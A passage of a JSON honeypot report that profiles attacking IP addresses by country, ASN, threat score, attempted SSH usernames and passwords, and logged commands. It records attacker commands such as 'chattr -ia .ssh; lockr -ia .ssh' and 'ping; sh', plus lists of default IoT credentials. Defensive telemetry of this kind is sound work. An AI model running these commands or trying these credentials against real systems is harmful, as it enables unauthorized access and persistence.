        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 97,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-11T21:30:41.887000+00:00",
        "last_seen_30d": "2026-05-11T21:52:49.938000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 62,
        "Suricata": 35
      }
    },
    "43.226.39.182": {
      "attack_count": 61,
      "first_seen": "2026-05-29T01:01:03.253Z",
      "last_seen": "2026-05-29T09:22:26.611Z",
      "sessions": 13,
      "ports": [],
      "usernames_attempted": [
        "root",
        "admin",
        "openeuler",
        "user"
      ],
      "passwords_attempted": [
        "fjbdfdjkdsfs541544",
        "1qaz@WSX",
        "Aa@12345678",
        "Admin_123",
        "Pass@1234",
        "Passw0rd",
        "openeuler",
        "toor"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.login.success"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 134762,
      "as_org": "CHINANET Liaoning province Dalian MAN network",
      "threat_score": 30.7,
      "threat_level": "low",
      "score_components": {
        "frequency": 20.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 101,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-29T01:01:03.253000+00:00",
        "last_seen_30d": "2026-05-29T09:32:29.814000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 61,
        "Suricata": 40
      }
    },
    "180.76.143.203": {
      "attack_count": 57,
      "first_seen": "2026-05-04T19:47:14.486Z",
      "last_seen": "2026-05-04T20:57:50.156Z",
      "sessions": 14,
      "ports": [],
      "usernames_attempted": [
        "test",
        "ubuntu"
      ],
      "passwords_attempted": [
        "abc123!@#",
        "ubuntuadmin"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.login.failed"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 38365,
      "as_org": "Beijing Baidu Netcom Science and Technology Co., Ltd.",
      "threat_score": 3.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 19.9,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 98,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-04T19:47:14.486000+00:00",
        "last_seen_30d": "2026-05-04T21:07:58.299000+00:00",
        "days_since_last_seen": 27
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 57,
        "Suricata": 41
      }
    },
    "194.120.230.28": {
      "attack_count": 54,
      "first_seen": "2026-05-09T23:10:08.041Z",
      "last_seen": "2026-05-30T18:08:51.837Z",
      "sessions": 9,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": null,
      "asn": 198584,
      "as_org": "PIO-Hosting GmbH",
      "threat_score": 46.7,
      "threat_level": "medium",
      "score_components": {
        "frequency": 18.0,
        "persistence": 18.3,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 63,
        "days_active_30d": 22,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-09T23:10:08.041000+00:00",
        "last_seen_30d": "2026-05-30T18:09:58.958000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 36,
        "Suricata": 27
      }
    },
    "14.103.123.87": {
      "attack_count": 45,
      "first_seen": "2026-05-27T07:04:50.391Z",
      "last_seen": "2026-05-27T07:39:11.443Z",
      "sessions": 9,
      "ports": [],
      "usernames_attempted": [
        "odin",
        "sandra",
        "systemd",
        "test2",
        "ubuntu"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "Voidsetdownload.so",
        "azerty",
        "odin",
        "sandra",
        "test2"
      ],
      "commands_executed": [
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "lockr -ia .ssh"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.command.input",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4811,
      "as_org": "China Telecom Group",
      "threat_score": 27.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 18.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 71,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-27T07:04:50.391000+00:00",
        "last_seen_30d": "2026-05-27T07:50:03.524000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 45,
        "Suricata": 26
      }
    },
    "189.188.221.169": {
      "attack_count": 44,
      "first_seen": "2026-05-11T23:44:02.522Z",
      "last_seen": "2026-05-12T00:04:34.307Z",
      "sessions": 22,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Mexico",
      "country_code": "MX",
      "city": "Gustavo Adolfo Madero",
      "asn": 8151,
      "as_org": "UNINET",
      "threat_score": 11.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 18.3,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 68,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-11T23:44:02.522000+00:00",
        "last_seen_30d": "2026-05-12T00:05:42.416000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 44,
        "Suricata": 24
      }
    },
    "116.41.81.52": {
      "attack_count": 43,
      "first_seen": "2026-05-03T22:48:21.622Z",
      "last_seen": "2026-05-12T22:01:48.799Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [
        "root",
        "admin",
        "Admin",
        "CUAdmin",
        "fliruser",
        "support",
        "telecomadmin"
      ],
      "passwords_attempted": [
        "Admin",
        "admin",
        "root",
        "sharpvision",
        "0000",
        "070admin",
        "CUAdmin",
        "CenturyL1nk",
        "Chameleon",
        "Xpon@Olt9417#",
        "admintelecom",
        "antslq",
        "beardropper",
        "default",
        "fliruser",
        "hme12345",
        "icatch99",
        "nology*/",
        "support",
        "vizxv"
      ],
      "commands_executed": [
        "shell",
        "system",
        "",
        "/bin/busybox cat /proc/self/exe || cat /proc/self/exe",
        "cat /proc/self/exe",
        "enable",
        "ping; sh",
        "sh"
      ],
      "event_types": [
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.command.failed",
        "cowrie.command.success",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": "Seongdong-gu",
      "asn": 17858,
      "as_org": "LG POWERCOMM",
      "threat_score": 13.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 16.8,
        "persistence": 8.3,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 48,
        "days_active_30d": 10,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-03T22:48:21.622000+00:00",
        "last_seen_30d": "2026-05-12T22:02:51.016000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 43,
        "Suricata": 5
      }
    },
    "23.229.99.137": {
      "attack_count": 40,
      "first_seen": "2026-05-09T11:39:28.362Z",
      "last_seen": "2026-05-09T11:56:52.028Z",
      "sessions": 20,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Los Angeles",
      "asn": 36352,
      "as_org": "HostPapa",
      "threat_score": 8.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 18.3,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.27
      },
      "reputation_metrics": {
        "total_events_30d": 67,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-09T11:33:18.919000+00:00",
        "last_seen_30d": "2026-05-09T11:58:01.914000+00:00",
        "days_since_last_seen": 22
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 40,
        "Suricata": 27
      }
    },
    "58.222.86.210": {
      "attack_count": 30,
      "first_seen": "2026-05-11T21:11:24.999Z",
      "last_seen": "2026-05-11T21:11:48.997Z",
      "sessions": 6,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "---fuck_you----",
        "5nWt3P-fF4WosQm5O",
        "Test@2022",
        "h3c.com!",
        "root123456"
      ],
      "commands_executed": [
        "uname -s -m"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 14.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 16.5,
        "persistence": 7.5,
        "diversity": 4,
        "spread": 15,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 45,
        "days_active_30d": 9,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-03T10:58:29+00:00",
        "last_seen_30d": "2026-05-11T21:12:52.182000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 30,
        "Suricata": 14,
        "Honeytrap": 1
      }
    },
    "124.29.226.185": {
      "attack_count": 24,
      "first_seen": "2026-05-12T23:25:19.573Z",
      "last_seen": "2026-05-12T23:27:54.899Z",
      "sessions": 12,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": "Sialkot",
      "asn": 9541,
      "as_org": "Cyber Internet Services Pvt Ltd.",
      "threat_score": 10.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 15.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 37,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-12T23:25:19.573000+00:00",
        "last_seen_30d": "2026-05-12T23:28:56.654000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 24,
        "Suricata": 13
      }
    },
    "105.224.18.203": {
      "attack_count": 22,
      "first_seen": "2026-05-20T18:36:49.857Z",
      "last_seen": "2026-05-20T22:46:48.160Z",
      "sessions": 11,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "South Africa",
      "country_code": "ZA",
      "city": "Bloemfontein",
      "asn": 37457,
      "as_org": "Telkom-Internet",
      "threat_score": 17.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 15.3,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 34,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-20T18:36:49.857000+00:00",
        "last_seen_30d": "2026-05-20T22:47:49.394000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 22,
        "Suricata": 12
      }
    },
    "203.150.140.41": {
      "attack_count": 22,
      "first_seen": "2026-05-15T22:36:21.793Z",
      "last_seen": "2026-05-15T22:38:37.479Z",
      "sessions": 5,
      "ports": [],
      "usernames_attempted": [
        "a",
        "admin",
        "nil",
        "root"
      ],
      "passwords_attempted": [
        "",
        "a",
        "admin",
        "root"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.login.success"
      ],
      "country": "Thailand",
      "country_code": "TH",
      "city": "Bangkok",
      "asn": 4618,
      "as_org": "Internet Thailand Company Limited",
      "threat_score": 16.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 15.8,
        "persistence": 0.8,
        "diversity": 4,
        "spread": 15,
        "recency_factor": 0.47
      },
      "reputation_metrics": {
        "total_events_30d": 38,
        "days_active_30d": 1,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-15T22:36:21.793000+00:00",
        "last_seen_30d": "2026-05-15T22:39:40.629000+00:00",
        "days_since_last_seen": 16
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 22,
        "Suricata": 14,
        "Honeytrap": 2
      }
    },
    "45.142.154.106": {
      "attack_count": 20,
      "first_seen": "2026-05-19T16:20:50.316Z",
      "last_seen": "2026-05-19T16:21:21.675Z",
      "sessions": 9,
      "ports": [],
      "usernames_attempted": [
        "Accept: */*",
        "GET / HTTP/1.1"
      ],
      "passwords_attempted": [
        "",
        "Host: 172.105.186.117:23"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": null,
      "asn": 9465,
      "as_org": "AGOTOZ PTE. LTD.",
      "threat_score": 75.3,
      "threat_level": "high",
      "score_components": {
        "frequency": 22.4,
        "persistence": 23.3,
        "diversity": 20,
        "spread": 15,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 173,
        "days_active_30d": 28,
        "ports_targeted_30d": 11,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-02T15:33:51+00:00",
        "last_seen_30d": "2026-05-29T15:31:21.681000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Suricata": 94,
        "Honeytrap": 59,
        "Cowrie": 20
      }
    },
    "176.65.148.183": {
      "attack_count": 19,
      "first_seen": "2026-05-29T03:59:43.441Z",
      "last_seen": "2026-05-29T03:59:49.688Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [
        "root",
        "qbf77101"
      ],
      "passwords_attempted": [
        "Zte521",
        "icatch99",
        "xc3511",
        "hexakisoctahedron"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.file_download",
        "cowrie.session.params"
      ],
      "country": "The Netherlands",
      "country_code": "NL",
      "city": "Eygelshoven",
      "asn": 51396,
      "as_org": "Pfcloud UG (haftungsbeschrankt)",
      "threat_score": 32.8,
      "threat_level": "low",
      "score_components": {
        "frequency": 14.5,
        "persistence": 1.7,
        "diversity": 4,
        "spread": 15,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 28,
        "days_active_30d": 2,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-28T00:29:43+00:00",
        "last_seen_30d": "2026-05-29T07:15:23.477000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 19,
        "Suricata": 8,
        "Honeytrap": 1
      }
    },
    "186.139.104.240": {
      "attack_count": 18,
      "first_seen": "2026-05-15T18:41:31.215Z",
      "last_seen": "2026-05-17T23:15:32.716Z",
      "sessions": 9,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Argentina",
      "country_code": "AR",
      "city": "Formosa",
      "asn": 7303,
      "as_org": "Telecom Argentina S.A.",
      "threat_score": 16.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 15.9,
        "persistence": 2.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.53
      },
      "reputation_metrics": {
        "total_events_30d": 39,
        "days_active_30d": 3,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-15T18:41:31.215000+00:00",
        "last_seen_30d": "2026-05-17T23:16:36.391000+00:00",
        "days_since_last_seen": 14
      },
      "honeypot_breakdown_30d": {
        "Suricata": 21,
        "Cowrie": 18
      }
    },
    "223.108.185.218": {
      "attack_count": 16,
      "first_seen": "2026-05-14T21:25:42.024Z",
      "last_seen": "2026-05-14T21:28:47.288Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "centos",
        "debian",
        "ubuntu"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.login.success",
        "cowrie.session.file_upload"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 56046,
      "as_org": "China Mobile communications corporation",
      "threat_score": 11.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 13.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.43
      },
      "reputation_metrics": {
        "total_events_30d": 24,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-14T21:25:42.024000+00:00",
        "last_seen_30d": "2026-05-14T21:29:52.775000+00:00",
        "days_since_last_seen": 17
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 16,
        "Suricata": 8
      }
    },
    "193.29.13.64": {
      "attack_count": 12,
      "first_seen": "2026-05-31T07:22:58.312Z",
      "last_seen": "2026-05-31T07:23:20.024Z",
      "sessions": 6,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Romania",
      "country_code": "RO",
      "city": null,
      "asn": 42397,
      "as_org": "Bunea TELECOM SRL",
      "threat_score": 75.8,
      "threat_level": "high",
      "score_components": {
        "frequency": 30,
        "persistence": 0.8,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 6027,
        "days_active_30d": 1,
        "ports_targeted_30d": 442,
        "honeypots_triggered_30d": 9,
        "first_seen_30d": "2026-05-31T07:22:57+00:00",
        "last_seen_30d": "2026-05-31T07:26:08.551000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 3493,
        "Honeytrap": 2441,
        "ConPot": 24,
        "Dionaea": 24,
        "Redishoneypot": 18,
        "Cowrie": 12,
        "Dicompot": 6,
        "Miniprint": 6,
        "CitrixHoneypot": 3
      }
    },
    "38.199.112.1": {
      "attack_count": 12,
      "first_seen": "2026-05-23T22:22:09.426Z",
      "last_seen": "2026-05-23T22:30:30.249Z",
      "sessions": 6,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Dominican Republic",
      "country_code": "DO",
      "city": "Santo Domingo",
      "asn": 267705,
      "as_org": "ORBIT CABLE, S.A.",
      "threat_score": 18.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 12.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 19,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-23T22:22:09.426000+00:00",
        "last_seen_30d": "2026-05-23T22:31:35.182000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 12,
        "Suricata": 7
      }
    },
    "91.233.116.94": {
      "attack_count": 12,
      "first_seen": "2026-05-14T15:33:04.349Z",
      "last_seen": "2026-05-17T13:11:02.863Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Finland",
      "country_code": "FI",
      "city": null,
      "asn": 51765,
      "as_org": "Oy Crea Nova Hosting Solution Ltd",
      "threat_score": 14.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 11.5,
        "persistence": 3.3,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.53
      },
      "reputation_metrics": {
        "total_events_30d": 14,
        "days_active_30d": 4,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-14T15:33:04.349000+00:00",
        "last_seen_30d": "2026-05-17T13:12:11.740000+00:00",
        "days_since_last_seen": 14
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 8,
        "Suricata": 6
      }
    },
    "165.227.16.25": {
      "attack_count": 8,
      "first_seen": "2026-05-15T04:31:30.413Z",
      "last_seen": "2026-05-15T04:31:48.041Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "Accept-Encoding: gzip",
        "GET / HTTP/1.1",
        "User-Agent: Mozilla/5.0 zgrab/0.x"
      ],
      "passwords_attempted": [
        "",
        "Accept: */*",
        "Host: 172.105.186.117:23"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.version"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Santa Clara",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 35.4,
      "threat_level": "low",
      "score_components": {
        "frequency": 30,
        "persistence": 0.8,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.47
      },
      "reputation_metrics": {
        "total_events_30d": 157384,
        "days_active_30d": 1,
        "ports_targeted_30d": 65822,
        "honeypots_triggered_30d": 14,
        "first_seen_30d": "2026-05-15T04:29:48+00:00",
        "last_seen_30d": "2026-05-15T04:42:25.760000+00:00",
        "days_since_last_seen": 16
      },
      "honeypot_breakdown_30d": {
        "Suricata": 134292,
        "Honeytrap": 23035,
        "Mailoney": 12,
        "Dionaea": 10,
        "ConPot": 9,
        "Cowrie": 8,
        "Miniprint": 8,
        "Dicompot": 3,
        "ElasticPot": 1,
        "Honeyaml": 1,
        "Ipphoney": 1,
        "Medpot": 1,
        "Tanner": 1
      }
    },
    "91.180.94.210": {
      "attack_count": 8,
      "first_seen": "2026-05-04T04:53:33.296Z",
      "last_seen": "2026-05-04T05:01:43.644Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Belgium",
      "country_code": "BE",
      "city": "Brussels",
      "asn": 5432,
      "as_org": "Proximus NV",
      "threat_score": 29.6,
      "threat_level": "low",
      "score_components": {
        "frequency": 11.8,
        "persistence": 16.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 15,
        "days_active_30d": 20,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-04T04:53:33.296000+00:00",
        "last_seen_30d": "2026-05-23T04:13:55.612000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 8,
        "Suricata": 7
      }
    },
    "152.32.132.28": {
      "attack_count": 6,
      "first_seen": "2026-05-22T11:07:06.128Z",
      "last_seen": "2026-05-24T03:05:43.694Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "admin"
      ],
      "passwords_attempted": [
        "admin"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": "Hong Kong",
      "asn": 135377,
      "as_org": "UCLOUD INFORMATION TECHNOLOGY HK LIMITED",
      "threat_score": 47.8,
      "threat_level": "medium",
      "score_components": {
        "frequency": 20.7,
        "persistence": 11.7,
        "diversity": 10,
        "spread": 20,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 117,
        "days_active_30d": 14,
        "ports_targeted_30d": 5,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-05-11T11:27:02.735000+00:00",
        "last_seen_30d": "2026-05-24T16:47:49.362000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Suricata": 66,
        "Tanner": 44,
        "Cowrie": 6,
        "Honeytrap": 1
      }
    },
    "175.100.42.36": {
      "attack_count": 6,
      "first_seen": "2026-05-05T10:12:05.833Z",
      "last_seen": "2026-05-20T23:22:43.378Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "admin"
      ],
      "passwords_attempted": [
        "admin"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Cambodia",
      "country_code": "KH",
      "city": "Phnom Penh",
      "asn": 38623,
      "as_org": "ISPIXP IN CAMBODIA WITH THE BEST VERVICE IN THERE.",
      "threat_score": 33.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 20.3,
        "persistence": 13.3,
        "diversity": 4,
        "spread": 15,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 106,
        "days_active_30d": 16,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-05T10:12:05.833000+00:00",
        "last_seen_30d": "2026-05-20T23:23:44.240000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Suricata": 56,
        "Tanner": 44,
        "Cowrie": 6
      }
    },
    "177.137.23.74": {
      "attack_count": 6,
      "first_seen": "2026-05-07T19:00:51.953Z",
      "last_seen": "2026-05-07T19:00:54.146Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Rio das Flores",
      "asn": 53225,
      "as_org": "IPGLOBE INTERNET LTDA",
      "threat_score": 4.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 8.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.2
      },
      "reputation_metrics": {
        "total_events_30d": 7,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-07T19:00:51.953000+00:00",
        "last_seen_30d": "2026-05-07T19:02:03.196000+00:00",
        "days_since_last_seen": 24
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 3
      }
    },
    "198.235.24.40": {
      "attack_count": 6,
      "first_seen": "2026-05-07T03:33:00.395Z",
      "last_seen": "2026-05-19T10:55:51.189Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 81.5,
      "threat_level": "critical",
      "score_components": {
        "frequency": 19.9,
        "persistence": 22.5,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 97,
        "days_active_30d": 27,
        "ports_targeted_30d": 25,
        "honeypots_triggered_30d": 6,
        "first_seen_30d": "2026-05-03T19:49:24.388000+00:00",
        "last_seen_30d": "2026-05-29T19:20:45.053000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Suricata": 66,
        "Honeytrap": 19,
        "Cowrie": 6,
        "Adbhoney": 4,
        "H0neytr4p": 1,
        "Honeyaml": 1
      }
    },
    "223.83.114.88": {
      "attack_count": 6,
      "first_seen": "2026-05-25T02:59:09.235Z",
